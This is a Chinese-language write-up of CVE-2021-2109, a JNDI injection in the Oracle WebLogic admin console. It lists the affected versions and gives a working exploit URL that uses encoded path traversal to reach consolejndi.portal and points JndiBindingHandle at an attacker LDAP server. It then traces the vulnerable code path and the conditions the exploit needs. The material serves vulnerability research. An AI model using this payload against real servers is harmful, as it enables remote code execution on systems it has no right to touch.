CVE-2021-2109 WebLogic-JNDI注入

0x01 环境搭建

https://www.penson.top/article/av40
手动添加
\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar 到依赖里面

0x02 漏洞分析与复现

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0。
拥有访问/console/consolejndi.portal页面的用户权限,或者存在CVE-2020-14883未授权访问漏洞。

漏洞原理

Weblogic/console/consolejndi.portal接口可以调用存在JNDI注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成RCE

漏洞复现

payload如下

1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.216.7;79:1389/k4gmvl;AdminServer%22)  

本地启动一个服务

漏洞分析

根据payload分析,先从consolejndi.portal开启看起,.portal文件就类似于一个servlet,在consolejndi.portal中存在JNDI Binding操作的处理容器,如图
具体的处理逻辑在PortalConfig/jndi/jndibinding.portlet
com.bea.console.actions.jndi.JNDIBindingActioncom.bea.console.actions.jndi.JNDIBindingAction类中,发现存在execute方法,存在JNDI注入漏洞
观察需要如何构造恶意payload,c是由ConsoleUtils.initNamingContext(serverMBean);赋值,而serverMBean是通过domainMBean.lookupServer(serverName);赋值,其中一系列关系如下
先是强转了一个JndiBindHandle类,这里面getHandleContext()的逻辑并不复杂,最终会调用JndiBindingHandle的构造函数。
如图,我们在paylad当中的一段被放进了构造函数的typeobjectIdentifier中,而"ldapxxxx"这一段会被放在components中,由分号分隔
JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://10.216.7;79:1389/k4gmvl;AdminServer")
继续往下看,想要进入JNDI注入的那一段代码,需要满足两个条件,一个是serverMBean != null,另一个是c != null,进到serverMBean看一下代码逻辑

  • lookupServer 是 DommainMBean 接口的方法,我们去看它的实现类
    实际上这里是动态代理类调用的,会自动跟进到weblogic.management.jmx.MBeanServerInvocationHandler#invoke下,其中method的值为weblogic.management.configuration.DomainMBean#lookupServer,他的method代码逻辑在实现类当中,也就是weblogic.management.configuration.DomainMBeanImpl#lookupServer
    走到do while的逻辑里面,返回var3,而不是返回null
    通过调试得到var2的值为AdminServer,这里没有其他值了,
    所以要求我们此处输入的var1AdminServer相同,回去看var1是什么,var1其实是serverName
    发现serverName也是可控的
    现在 serverBean != null 没问题,就要看 JNDI lookup 的地址是否可控。
    很明显JNDI lookup的地址也是可控的
    进入到JndiBindingHandle类看一下,set/getComponents()的逻辑,先调用了HandleImpl#getComponent
    跟进
    主要逻辑就是以;分隔,就可控contextbinding,就可以进行JNDI注入
    1、;号隔开JNDI地址
    2、serverName必须为AdminServer
0%